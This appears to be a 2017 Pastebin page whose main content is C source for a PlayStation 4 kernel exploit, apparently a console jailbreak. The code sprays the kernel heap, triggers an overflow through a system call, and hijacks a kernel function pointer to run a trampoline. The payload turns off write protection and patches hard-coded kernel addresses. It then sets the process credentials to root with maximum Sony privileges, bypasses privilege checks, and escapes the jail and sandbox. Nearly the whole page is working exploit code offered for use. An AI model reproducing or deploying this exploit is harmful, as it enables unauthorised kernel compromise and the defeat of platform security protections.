Advertisement
Guest User

Untitled

a guest
Nov 20th, 2017
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.94 KB | None | 0 0
  1. /*2much4u*/
  2.  
  3. #include "ps4.h"
  4.  
  5. int (*sceSysUtilSendSystemNotificationWithText)(int messageType, int userID, char* message);
  6.  
  7. void notify(char *message) {
  8. char buffer[512];
  9. sprintf(buffer, "%s\n\n\n\n\n\n\n", message);
  10. sceSysUtilSendSystemNotificationWithText(36, 0x10000000, buffer);
  11. }
  12.  
  13. void jailbreak(struct knote *kn) {
  14. struct thread *td;
  15. struct ucred *cred;
  16.  
  17. // Get td pointer
  18. asm volatile("mov %0, %%gs:0" : "=r"(td));
  19.  
  20. // Disable write protection
  21. uint64_t cr0 = readCr0();
  22. writeCr0(cr0 & ~X86_CR0_WP);
  23.  
  24. // sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
  25. *(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
  26. *(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
  27.  
  28. *(char *)0xFFFFFFFF8332431A = 1;
  29. *(char *)0xFFFFFFFF83324338 = 1;
  30.  
  31. // Version Spoof - Thanks to zecoxao
  32. *(uint64_t *)0xFFFFFFFF8323A4E0 = 0x9990001;
  33.  
  34. // Disable Process ASLR - Thanks to ZiL0G80
  35. *(uint16_t *)0xFFFFFFFF82649C9C = 0x63EB;
  36.  
  37. // Restore write protection
  38. writeCr0(cr0);
  39.  
  40. // Resolve creds
  41. cred = td->td_proc->p_ucred;
  42.  
  43. // Escalate process to root
  44. cred->cr_uid = 0;
  45. cred->cr_ruid = 0;
  46. cred->cr_rgid = 0;
  47. cred->cr_groups[0] = 0;
  48.  
  49. void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
  50.  
  51. // sceSblACMgrIsSystemUcred
  52. uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
  53. *sonyCred = 0xffffffffffffffff;
  54.  
  55. // sceSblACMgrGetDeviceAccessType
  56. uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
  57. *sceProcType = 0x3801000000000013; // Max access
  58.  
  59. // sceSblACMgrHasSceProcessCapability
  60. uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
  61. *sceProcCap = 0xffffffffffffffff; // Sce Process
  62.  
  63. ((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
  64. ((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check
  65.  
  66. // Jailbreak ;)
  67. cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0
  68.  
  69. // Break out of the sandbox
  70. void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
  71. uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
  72. uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
  73. uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
  74. *td_fdp_fd_rdir = *rootvnode;
  75. *td_fdp_fd_jdir = *rootvnode;
  76. }
  77.  
  78. void* kernelFunctionToExecute;
  79.  
  80. // Perform kernel allocation aligned to 0x800 bytes
  81. int kernelAllocation(size_t size, int fd) {
  82. SceKernelEqueue queue = 0;
  83. sceKernelCreateEqueue(&queue, "kexec");
  84.  
  85. sceKernelAddReadEvent(queue, fd, 0, NULL);
  86.  
  87. return queue;
  88. }
  89.  
  90. void kernelFree(int allocation) {
  91. close(allocation);
  92. }
  93.  
  94. void *exploitThread(void *none) {
  95. uint64_t bufferSize = 0x8000;
  96. uint64_t overflowSize = 0x8000;
  97. uint64_t copySize = bufferSize + overflowSize;
  98.  
  99. // Round up to nearest multiple of PAGE_SIZE
  100. uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
  101.  
  102. uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  103. munmap(mapping + mappingSize, PAGE_SIZE);
  104.  
  105. uint8_t *buffer = mapping + mappingSize - copySize;
  106.  
  107. int64_t count = (0x100000000 + bufferSize) / 4;
  108.  
  109. // Create structures
  110. struct knote kn;
  111. struct filterops fo;
  112. struct knote **overflow = (struct knote **)(buffer + bufferSize);
  113. overflow[2] = &kn;
  114. kn.kn_fop = &fo;
  115.  
  116. // Setup trampoline to gracefully return to the calling thread
  117. void *trampw = NULL;
  118. void *trampe = NULL;
  119. int executableHandle;
  120. int writableHandle;
  121. uint8_t trampolinecode[] = {
  122. 0x58, // pop rax
  123. 0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
  124. 0x50, // push rax
  125. 0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
  126. 0xFF, 0xE0 // jmp rax
  127. };
  128.  
  129. // Get Jit memory
  130. sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
  131. sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
  132.  
  133. // Map r+w & r+e
  134. trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
  135. trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
  136.  
  137. // Copy trampoline to allocated address
  138. memcpy(trampw, trampolinecode, sizeof(trampolinecode));
  139. *(void **)(trampw + 14) = kernelFunctionToExecute;
  140.  
  141. // Call trampoline when overflown
  142. fo.f_detach = trampe;
  143.  
  144. // Start the exploit
  145. int sockets[0x2000];
  146. int allocation[50], m = 0, m2 = 0;
  147. int fd = (bufferSize - 0x800) / 8;
  148.  
  149. // Create sockets
  150. for(int i = 0; i < 0x2000; i++) {
  151. sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
  152. if(sockets[i] >= fd) {
  153. sockets[i + 1] = -1;
  154. break;
  155. }
  156. }
  157.  
  158. // Spray the heap
  159. for(int i = 0; i < 50; i++) {
  160. allocation[i] = kernelAllocation(bufferSize, fd);
  161. }
  162.  
  163. // Create hole for the system call's allocation
  164. m = kernelAllocation(bufferSize, fd);
  165. m2 = kernelAllocation(bufferSize, fd);
  166. kernelFree(m);
  167.  
  168. // Perform the overflow
  169. syscall(597, 1, mapping, &count);
  170.  
  171. // Execute the payload
  172. kernelFree(m2);
  173.  
  174. // Close sockets
  175. for(int i = 0; i < 0x2000; i++) {
  176. if(sockets[i] == -1)
  177. break;
  178. sceNetSocketClose(sockets[i]);
  179. }
  180.  
  181. // Free allocations
  182. for(int i = 0; i < 50; i++) {
  183. kernelFree(allocation[i]);
  184. }
  185.  
  186. // Free the mapping
  187. munmap(mapping, mappingSize);
  188.  
  189. return NULL;
  190. }
  191.  
  192. void kernelExecute(void* function) {
  193. kernelFunctionToExecute = function;
  194. ScePthread pExploitThread;
  195. scePthreadCreate(&pExploitThread, NULL, exploitThread, NULL, "ExploitThread");
  196. scePthreadJoin(pExploitThread, NULL);
  197. }
  198.  
  199. int _main(void) {
  200. initKernel();
  201. initLibc();
  202. initPthread();
  203. initNetwork();
  204. initJIT();
  205.  
  206. int module;
  207. loadModule("libSceSysUtil.sprx", &module);
  208. RESOLVE(module, sceSysUtilSendSystemNotificationWithText);
  209.  
  210. kernelExecute(jailbreak);
  211.  
  212. if(getuid() != 0) {
  213. notify("Exploit Failed!\nPlease Restart Your Console");
  214. return 0;
  215. }
  216.  
  217. notify("mah boi");
  218.  
  219. return 0;
  220. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement